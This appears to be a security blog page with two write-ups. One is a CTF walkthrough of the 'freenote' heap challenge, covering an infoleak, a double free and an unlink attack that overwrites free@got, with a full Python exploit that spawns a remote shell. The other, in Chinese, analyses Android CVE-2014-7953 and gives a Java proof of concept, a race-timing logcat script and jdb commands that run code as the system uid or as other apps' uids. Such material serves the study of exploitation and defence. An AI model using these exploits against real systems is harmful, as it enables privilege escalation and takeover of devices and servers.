Freenote is a binary with infoleak and double free vulnerabilities and is a good practice for heap exploitation. The first vulnerability is when a note is deleted, its content isn’t zeroed and when another note is allocated at the very same location, the content of last allocation is still there. The second vulnerability is when freeing note the program does not check if the current note is actually already freed, causing a double free.

Introduction

There are two data structures used in freenote, one we name it “NoteBook” and the other “Note”. Note book can be mapped to the following structure:

struct Notebook {
    int tot_cnt;
    int use_cnt;
    Note notes[256];
}
struct Note {
    int in_use;
    int content_length;
    char* content;
}

There are four operations available: list, delete, new, edit. Delete operation simply set the in_use field to zero and call free on the Note ptr, however it doesn’t check whether this note is already freed before (in_use field is already zero). Edit option checks if the new input lenght is equal to original one. If not, it will call realloc and then write new content into the origin note. New option mallocs a (len//0x80 + 1)*0x80 chunk and writes user input, notice no zmalloc or memeset zero is called. Thus lead to the first vulnerability – infoleak.

Heap baseaddress InfoLeak

As we stated before, neither new note or delete note operations zero outs memory. Recall the chunk struct of glibc malloc:

struct malloc_chunk {
    INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
    INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
    struct malloc_chunk* fd; /* double links -- used only if free. */
    struct malloc_chunk* bk; /* double links -- used only if free. */
    struct malloc_chunk* fd_nextsize; /* Only used for large blocks: pointer to next larger size. */
    struct malloc_chunk* bk_nextsize; /* Only used for large blocks: pointer to next larger size. */
 };

And also, list note use %s format string to output note content, so we can free two non-adjacent note. This will make the first 16 bytes (for 64bit-arch or 8bytes for 32bit-arch) after size field, which is originally the “data”/”content” of in use note. Then we can new a note again, because freed chunk in bin list tend to be reused first, we will actually get the originally freed note. And write sizeof(malloc_chunk*) char into the note, call list note and we will get the bk pointer value.

We cannot just free one note and call new note on it because when there is only one free chunk, this chunk’s fd and bk will point to glibc global struct but not chunk on the heap. We need the heap address to bypass ASLR to exploit the next double-free vulnerability.

So steps are: – New four notes, 0,1,2,3 – Delete 0,2 – New note again, this time note 0’s chunk is reused, write 4bytes(32bit arch)/8bytes(64bit arch) – List note, get note2’s address, substract offset to get base heap address.

After 0 is freed:

gdb-peda$ x/100xg 0x604820
0x604820:    0x0000000000000000    0x0000000000000091
0x604830:    0x00007ffff7dd37b8    0x00007ffff7dd37b8
gdb-peda$ p main_arena
$3 = {
  mutex = 0x0,
  flags = 0x1,
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
  top = 0x604a60,
  last_remainder = 0x0,
  bins = {0x604820, 0x604820, 0x7ffff7dd37c8, 0x7ffff7dd37c8, 0x7ffff7dd37d8, 0x7ffff7dd37d8,

Notice currently chunk Note0 does not contain pointer to address on heap.

After 2 is freed:

(after free 2)
0x604820:    0x0000000000000000    0x0000000000000091(note 0 chunk)
0x604830:    0x00007ffff7dd37b8    0x0000000000604940(point to note2 free chunk)
0x604840:    0x0000000000000000    0x0000000000000000
0x604850:    0x0000000000000000    0x0000000000000000
0x604860:    0x0000000000000000    0x0000000000000000
0x604870:    0x0000000000000000    0x0000000000000000
0x604880:    0x0000000000000000    0x0000000000000000
0x604890:    0x0000000000000000    0x0000000000000000
0x6048a0:    0x0000000000000000    0x0000000000000000
0x6048b0:    0x0000000000000090    0x0000000000000090(note 1 chunk)
0x6048c0:    0x0000000062626262    0x0000000000000000
0x6048d0:    0x0000000000000000    0x0000000000000000
0x6048e0:    0x0000000000000000    0x0000000000000000
0x6048f0:    0x0000000000000000    0x0000000000000000
0x604900:    0x0000000000000000    0x0000000000000000
0x604910:    0x0000000000000000    0x0000000000000000
0x604920:    0x0000000000000000    0x0000000000000000
0x604930:    0x0000000000000000    0x0000000000000000
0x604940:    0x0000000000000000    0x0000000000000091(note 2 chunk)
0x604950:    0x0000000000604820    0x00007ffff7dd37b8(point back to note0 free chunk)
0x604960:    0x0000000000000000    0x0000000000000000
gdb-peda$ p main_arena
$4 = {
mutex = 0x0,
flags = 0x1,
fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x604a60,
last_remainder = 0x0,
bins = {0x604940, 0x604820, 0x7ffff7dd37c8, 0x7ffff7dd37c8, 0x7ffff7dd37d8, 0x7ffff7dd37d8,

Double free

As note can be freed twice, we can use the unlink primitive to do a arbitrary write. But how do we bypass the glibc unlink FD->BK == P && BK->FD == P check? We will use 64bit arch in the following content of this article.

Remember there is also a pointer point to the note chunk in notes array, we call it “content”. A fake chunk with *(FD+3) == P == content and *(BK+2) == P == content will pass glibc’s check, thus make *P = P-3.

Free use prev_size to decide previous chunk’s address if prev_inuse (size&1) is false. If dlmalloc finds out previous chunk is free when freeing current chunk, it will do an unlink on previous chunk to remove it off freelist and merge with current chunk.

So we have a sckeleton idea, – Alloc 0,1,2, place fake chunk at 0 – Free 1,2 – Alloc 3 covering 1,2, so that we can construct a fake chunk in the original location of 2 – Call free on 2 again

What’s worthing noticing is that dlmalloc decides if current block is in use by checking next adjacent chunk’s in_use flag. So to make double free on 2 succeed, we need append two more fake chunks, and set them as in use. This is because:

For the following chunks (assume all valid chunks): | 1 | 2 | 3 | 4 | 5 |

When freeing 3, dlmalloc will check if 2 is in use using 3’s PREV_INUSE flag, and check if 4 is in use using 5’s PREV_INUSE flag. 5’s address is decided using 3’size + 3’address + 4’size. So when we make fake chunk 3, we must also append two “valid” fake inuse chunks after 3, to avoid SIGSEGV.

READ LIBC ADDRESS

As we successfully perform a write, the memory layout of NoteBook struct, which is at the beginning of heap, becomes

gdb-peda$ x/40xg 0x11af000
0x11af000:    0x0000000000000000    0x0000000000001821
0x11af010:    0x0000000000000100    0x0000000000000002
0x11af020:    0x0000000000000001    0x0000000000000020
0x11af030:    0x00000000011af018    0x0000000000000001

Notice *P has becomes P-3, so by editing note we can overwrite P, pointing it to free@got or whatever convenient. When constructing note payload, notice the payload length should be equal to original one (0x20), or realloc will be called and our fake chunk will not pass realloc check. For the following note edit’s convenience (we’re writing a 8byte address to note 0, we can modify note0’s length as 8 here).

Then perform a note list to read free@got’s content, i.e. free’s address. Using this address we’re able to get system’s address. Then a write (note edit) is performed on note 0, remember we’ve already modified note0’s length to 8, thus avoiding realloc.

EXECUTE CODE

We choose to rewrite free@got because we can control its argument, e.g. freeing a note whose content is under our control like “/bin/sh”. So we can new a note with content “/bin/sh\x00”, then call rewrited free (now system) will give us a shell.

Example code (64bit and 32bit)

64bit:

from zio import *
import time
#io = zio('./freenote1')
io = zio(("xxxx",10001))
def new_note(content):
    io.read_until("choice: ")
    io.writeline("2")
    io.read_until("new note: ")
    io.writeline(str(len(content)))
    io.read_until("note: ")
    io.writeline(content)
    io.read_until("choice: ")
def free_note(nid):
    io.read_until("choice: ")
    io.writeline("4")
    io.read_until("number: ")
    io.writeline(str(nid))
def read_note(nid):
    io.read_until("Your choice: ")
    io.writeline("1")
    notes = io.read_until("== 0ops Free Note ==")
        if notes.find("Invalid") != -1:
            io.read_until("Your choice: ")
            notes = io.read_until("== 0ops Free Note ==")
    for note in notes.split('\n'):
        if note[0] == str(nid):
            return note.split("%d. "%nid)[1]
    return ""
def mod_note(nid, content):
        io.read_until("Your choice: ")
        io.writeline("3")
        io.read_until("Note number: ")
        io.writeline(str(nid))
        io.read_until("Length of note: ")
        io.writeline(str(len(content)))
    io.read_until("Enter your note: ")
        io.writeline(content)
        io.read_until("choice: ")
new_note("aaaa")
new_note("bbbb")
new_note("cccc")
new_note("dddd")
free_note(0)
free_note(2)
new_note("abcdabcd")
#free block 0 and 2
out = read_note(0)
base_addr = l64(out[8:].ljust(8,"\x00")) - 144*2 - (0x604820 - 0x603000)
prev_size_offset = 144*2 + 128
#note addr begins at 0x603010
FAKE_PREV_SIZE = 0x0
FAKE_SIZE = prev_size_offset + 1
FAKE_FD_ADDR = base_addr + 0x18 #*(FD+4) = P
FAKE_BK_ADDR = base_addr + 0x20 #*(BK+3) = P
#free all notes, 0,1,2,3
free_note(0)
free_note(1)
free_note(3)
new_note(l64(FAKE_PREV_SIZE) + l64(FAKE_SIZE) + l64(FAKE_FD_ADDR) + l64(FAKE_BK_ADDR))
new_note("/bin/sh\x00")
FAKE_PREV_SIZE = prev_size_offset
FAKE_SIZE = 0x90
#alloc chunk at (2,3)
new_note('a'*128 + l64(FAKE_PREV_SIZE) + l64(FAKE_SIZE) + 128*'a' + (l64(0) + l64(0x91) + 128*'a')*2)
free_note(3)
#alloc note0 with fake chunk
#now free block 1, then alloc block4 at block(1,2)
#fake chunk 2 should have prev_size points to chunk 0 data area
'''
|PREV_SIZE|SIZE|{PREV_SIZE}|{SIZE}|{DATA}|PREV_SIZE|SIZE|DATA
'''
'''
now *p = p-3, modify note 1 to free@got
'''
mod_note(0, l64(0x2) + l64(0x1) + l64(0x8) + l64(0x602018))
free_addr = l64(read_note(0).ljust(8, "\x00"))
system_addr = free_addr - (0x76C60 - 0x40190)#libc at pwn server
#system_addr = free_addr - (0x82df0 - 0x46640)
mod_note(0, l64(system_addr))
free_note(1)
io.interact()

ADB backupAgent 提权漏洞分析 (CVE-2014-7953)

ADB backupAgent 提权漏洞分析 (CVE-2014-7953) 注:该文也已发表在drops.wooyun.org. pdf版可见 http://tool.flanker017.me/papers/cve-2014-7953.pdf

摘要

CVE-2014-7953是存在于android backup agent中的一个提权漏洞。ActivityManagerService中的bindBackupAgent方法未能校验传入的uid参数,结合另外一个race condition利用技巧,攻击者可以以任意uid(应用)身份执行代码,包括system(uid 1000)。本文对该漏洞进行了详细分析,并给出了利用EXP。攻击的前提条件是需要有android.permission.BACKUP和INSTALL_PACKAGES,而adb shell是一个满足条件的attack surface。

背景介绍

BackupService是Android中提供的备份功能,在备份操作中,系统的BackupManager从目标应用获取对方指定的备份数据,然后交给BackupTransport进行数据传输。在恢复备份操作中,BackupManager从Transport中拿回数据并传递给目标应用进行恢复。常见的场景是用户应用的数据备份到Google Cloud,用户在新手机上登录Google账号时数据就被自动恢复回去。

当然想使用备份功能的应用必须实现BackupAgent组件,继承BackupAgent类或者BackupAgentHelper类,并在AndroidManifest.xml中声明自己,还需要向一个BackupService注册。

在BackupManager进行备份或恢复时,其会以目标应用BackupAgent为内容启动目标应用进程,调用其onCreate函数,以方便其进行具体的应用逻辑相关的备份和恢复操作。

漏洞成因

在上文的铺垫之后,我们来看这个漏洞的成因。前面提到BackupAgent会在进行恢复时被调用,具体到ActivityManagerService中的bindBackupAgent函数:

// Cause the target app to be launched if necessary and its backup agent
12819    // instantiated.  The backup agent will invoke backupAgentCreated() on the
12820    // activity manager to announce its creation.
12821    public boolean bindBackupAgent(ApplicationInfo app, int backupMode) {
12822        if (DEBUG_BACKUP) Slog.v(TAG, "bindBackupAgent: app=" + app + " mode=" + backupMode);
12823        enforceCallingPermission("android.permission.BACKUP", "bindBackupAgent");
12824
12825        synchronized(this) {
/*...*/
12833            // Backup agent is now in use, its package can't be stopped.
12834            try {
12835                AppGlobals.getPackageManager().setPackageStoppedState(
12836                        app.packageName, false, UserHandle.getUserId(app.uid));
12837            } catch (RemoteException e) {
12838            } catch (IllegalArgumentException e) {
12839                Slog.w(TAG, "Failed trying to unstop package "
12840                        + app.packageName + ": " + e);
12841            }
12842
12843            BackupRecord r = new BackupRecord(ss, app, backupMode);
12844            ComponentName hostingName = (backupMode == IApplicationThread.BACKUP_MODE_INCREMENTAL)
12845                    ? new ComponentName(app.packageName, app.backupAgentName)
12846                    : new ComponentName("android", "FullBackupAgent");
12847            // startProcessLocked() returns existing proc's record if it's already running
12848            ProcessRecord proc = startProcessLocked(app.processName, app,
12849                    false, 0, "backup", hostingName, false, false, false);
12850            if (proc == null) {
12851                Slog.e(TAG, "Unable to start backup agent process " + r);
12852                return false;
12853            }
12854
12855            r.app = proc;
12856            mBackupTarget = r;
12857            mBackupAppName = app.packageName;
12858
12859            // Try not to kill the process during backup
12860            updateOomAdjLocked(proc);
12861
12862            // If the process is already attached, schedule the creation of the backup agent now.
12863            // If it is not yet live, this will be done when it attaches to the framework.
12864            if (proc.thread != null) {
12865                if (DEBUG_BACKUP) Slog.v(TAG, "Agent proc already running: " + proc);
12866                try {
12867                    proc.thread.scheduleCreateBackupAgent(app,
12868                            compatibilityInfoForPackageLocked(app), backupMode);
12869                } catch (RemoteException e) {
12870                    // Will time out on the backup manager side
12871                }
12872            } else {
12873                if (DEBUG_BACKUP) Slog.v(TAG, "Agent proc not running, waiting for attach");
12874            }
12875            // Invariants: at this point, the target app process exists and the application
12876            // is either already running or in the process of coming up.  mBackupTarget and
12877            // mBackupAppName describe the app, so that when it binds back to the AM we
12878            // know that it's scheduled for a backup-agent operation.
12879        }
12880
12881        return true;
12882    }

ActivityManagerService对外通过Binder暴露了这个接口,当然开头就要求了调用者必须持有android.permission.BACKUP权限,而shell是持有这个权限的。bindBackupAgent最终会将传入的攻击者可控的ApplicationInfo传递给startProcessLocked,并最终通过scheduleCreateBackupAgent调用其onCreate函数。

而ApplicationInfo中的uid可以被任意指定,这是该漏洞的根本原因。

漏洞利用

但是想要利用这个漏洞还会遇到几个关键的问题,需要通过其他方法来绕过。

setPackageStoppedState的权限检查

从代码中可以看到,在startProcessLocked之前会先调用setPackageStoppedState,将可能正在运行的目标package置Stopped状态。这要求binder调用的发起者持有CHANGE_COMPONENT_ENABLED_STATE权限,否则会抛出SecurityException,终止函数运行。很遗憾这是一个系统用户才持有的权限,shell是没有的,强行调用会抛如下异常:

Screenshot from 2015-04-20 15:50:35

但是可以观察到的是,startPackageStoppedState在抛出IllegalArgumentException时会被catch住,打一个log并继续执行,那么通过PackageManager安装包时的race condition,或者说TOCTOU,可以打一个时间差。

一个猥琐的步骤如下: – 调用pm安装包,在安装过程中某个时刻调用bindBackupAgent。 – startPackageStoppedState时,包并不存在,抛出IllegalArgumentException被catch住并继续执行。 – startProcessRecord时包却已经安装完成了,以攻击者指定的ApplicationInfo启动。

正常的情况下,当包存在时,会是如下时序:

Screenshot 2015-05-02 13.42.23

包不存在时,会是如下时序。此时process可以被创建出来,但会立即死亡因为找不到load的代码。极罕见的情况下可能会停留在FC对话框而可以利用。

Screenshot 2015-05-02 13.44.34

TOCTOU利用时序图如下:

Screenshot 2015-05-02 13.48.38

这里面关键点是打好时间差,例如可以扩大classes.dex的体积,增加dexopt的时间。在N7上测试成功的POC是通过脚本监控logcat中Copying native libraries to,在此刻触发bindBackupAgent调用,基本每次都能成功。

handleCreateBackupAgent的检查

跟一下调用链:

        public final void scheduleCreateBackupAgent(ApplicationInfo app,
658                CompatibilityInfo compatInfo, int backupMode) {
659            CreateBackupAgentData d = new CreateBackupAgentData();
660            d.appInfo = app;
661            d.compatInfo = compatInfo;
662            d.backupMode = backupMode;
663
664            sendMessage(H.CREATE_BACKUP_AGENT, d);
665        }
public void handleMessage(Message msg) {
//omit
                case CREATE_BACKUP_AGENT:
1337                    Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER, "backupCreateAgent");
1338                    handleCreateBackupAgent((CreateBackupAgentData)msg.obj);
1339                    Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);
1340                    break;
//omit
}
// Instantiate a BackupAgent and tell it that it's alive
2428    private void handleCreateBackupAgent(CreateBackupAgentData data) {
2429        if (DEBUG_BACKUP) Slog.v(TAG, "handleCreateBackupAgent: " + data);
2430
2431        // Sanity check the requested target package's uid against ours
2432        try {
2433            PackageInfo requestedPackage = getPackageManager().getPackageInfo(
2434                    data.appInfo.packageName, 0, UserHandle.myUserId());
2435            if (requestedPackage.applicationInfo.uid != Process.myUid()) {
2436                Slog.w(TAG, "Asked to instantiate non-matching package "
2437                        + data.appInfo.packageName);
2438                return;
2439            }
2440        } catch (RemoteException e) {
2441            Slog.e(TAG, "Can't reach package manager", e);
2442            return;
2443        }
//omit
2448        // instantiate the BackupAgent class named in the manifest
2449        LoadedApk packageInfo = getPackageInfoNoCheck(data.appInfo, data.compatInfo);
2450        String packageName = packageInfo.mPackageName;
//omit
2461
2462        BackupAgent agent = null;
2463        String classname = data.appInfo.backupAgentName;
2464
2465        // full backup operation but no app-supplied agent?  use the default implementation
2466        if (classname == null && (data.backupMode == IApplicationThread.BACKUP_MODE_FULL
2467                || data.backupMode == IApplicationThread.BACKUP_MODE_RESTORE_FULL)) {
2468            classname = "android.app.backup.FullBackupAgent";
2469        }
2470
2471        try {![Alt text](./Screenshot from 2015-04-20 15:50:21.png)
2472            IBinder binder = null;
2473            try {
2474                if (DEBUG_BACKUP) Slog.v(TAG, "Initializing agent class " + classname);
2475
2476                java.lang.ClassLoader cl = packageInfo.getClassLoader();
2477                agent = (BackupAgent) cl.loadClass(classname).newInstance();
2478
2479                // set up the agent's context
2480                ContextImpl context = ContextImpl.createAppContext(this, packageInfo);
2481                context.setOuterContext(agent);
2482                agent.attach(context);
2483
2484                agent.onCreate();
2485                binder = agent.onBind();
2486                mBackupAgents.put(packageName, agent);
2487            } catch (Exception e) {
2488                //omit
2496            }
//omit
2508    }
2509

该函数的作用是在Package中寻找定义的BackupAgent类,如果不存在则以android.app.backup.FullBackupAgent代替,并执行其onCreate函数。

如果控制了进程uid为system,在onCreate函数放置我们的代码就万事大吉了。但很遗憾开头就有一个检查,对比当前进程的uid(注意ActivityThread的代码是在被启动package的进程空间内执行的,所以Process.myUid即是目标package的uid)和PackageManager在安装时记录的uid,不符合则log并退出。这就砍掉了改onCreate利用的想法。

但天无绝人之路,jdwp come to rescure. 进程和VM已经起来了,安装包的debuggable flag又是攻击者可指定的,那么jdwp attach上去执行代码,就柳暗花明又一村。

喜闻乐见的shell…吗

顺利的话system身份进程已经启动。 Screenshot from 2015-04-20 15:50:21

如果我们再去打开测试应用,会看到两个不同uid的同package进程并存,如下图: Screenshot from 2015-04-20 20:20:50

这里会有两种情况: – 进程以system的uid启动,但由于没有实例化和调用onCreate,这个进程是个空壳。这是最常见的情况。 – 进程以system的uid启动,出现一个Application Crash时的FC对话框。有意思的是某些罕见情况下直接访问backupAgent接口就会触发该对话框。

对于这两种情况,attach上之后触发的断点也并不一样。对于第一个来说,线程会block在nativePollOnce上,如下图所示: Screenshot from 2015-04-20 22:19:01

这种情况利用的一个关键因素是需要让线程跳出nativePollOnce,也就是说需要让其接收到一个消息,然后才能下断点执行代码, 但诡异之处就在于这时候起的进程是一个空壳,不存在GUI界面,常规的操作触发和intent触发都是没有效果的,这岂不是强人所难?如何跳出这个轮回留给读者做一道思考题。

第二种则会因为异常捕获断在handleApplicationCrash上,这种比较好处理,直接下断点即可。

总之我们利用intellij或者jdb作为载体,通过jdwp即可以system权限或者以其他uid的身份执行代码。

附效果截图:

system: Screenshot from 2015-04-20 21:35:05

当然我们也可以变幻成什么xx卫士啊,xx钱盾,xx付宝之类进程的uid,从而控制这些敏感应用。附xx卫士的截图: Screenshot from 2015-04-20 22:37:34

可以看到我们的应用已经和xx卫士是一个uid同床共枕了,接下来怎么发挥就看诸君想象力了。

部分POC:

myapp:

public class Test {

    public static void main(String []args)
    {
        test(Integer.parseInt(args[0]));
    }
    public static void test(Integer uid)
    {
        try {
            Class ActivityManagerNative = Class.forName("android.app.ActivityManagerNative");
            Method bindBackupAgent = ActivityManagerNative.getDeclaredMethod("getDefault");
            Object iActivityManager = bindBackupAgent.invoke(null);
            Method bindBackupAgentMtd = iActivityManager.getClass().getDeclaredMethod("bindBackupAgent", ApplicationInfo.class, int.class);
            ApplicationInfo applicationInfo = new ApplicationInfo();
            applicationInfo.dataDir = "/data/data/com.example.myapp";
            applicationInfo.nativeLibraryDir = "/data/app-lib/com.example.myapp-1";
            applicationInfo.processName = "com.example.myapp";
            applicationInfo.publicSourceDir = "/data/app/com.example.myapp-1.apk";
            applicationInfo.sourceDir = "/data/app/com.example.myapp-1.apk";
            applicationInfo.taskAffinity = "com.example.myapp";
            applicationInfo.packageName = "com.example.myapp";
            applicationInfo.flags = 8961606;
            applicationInfo.uid = uid;
            bindBackupAgentMtd.invoke(iActivityManager, applicationInfo, 0);
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
    }
}

将其编译为jar并通过app_process执行。注意在myapp没有安装时直接执行会造成后续INSTALL_FAILED_UID_CHANGED错误,具体原因可参照我之前写的denial-of-app分析。

监控py脚本

from subprocess import Popen, PIPE
import os
KW = "Copying native libraries to "
#KW = "dexopt"
os.system("adb logcat -c")
p = Popen(["adb", "logcat"], stdout=PIPE, bufsize=1)
with p.stdout:
    for line in iter(p.stdout.readline, b''):
        if line.find(KW) != -1:
            print line
            os.system("adb shell /data/local/tmp/test.sh 1000")
p.wait()

test.sh

export ANDROID_DATA=/data/local/tmp/
export CLASSPATH=/data/local/tmp/MyTest.jar
app_process /data/local/tmp/ com.example.MyTest $@

jdb命令:

threads
thread 0xxxxxx
suspend
stop in android.os.MessageQueue next
run
print new java.lang.Runtime.exec("id")

修复:

Google对该漏洞的修复非常简单,对bindBackupAgent接口校验了FULL_BACKUP这个system级别的权限,砍掉了最初的入口。

References:

  • http://www.securityfocus.com/archive/1/535296/30/0/threaded
  • http://www.saurik.com/id/17
  • http://androidxref.com/4.4.4_r1/xref/frameworks/base/services/java/com/android/server/am/ActivityManagerService.java#12822
  • http://grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android/4.2_r1/android/os/MessageQueue.java#MessageQueue.nativePollOnce%28int%2Cint%29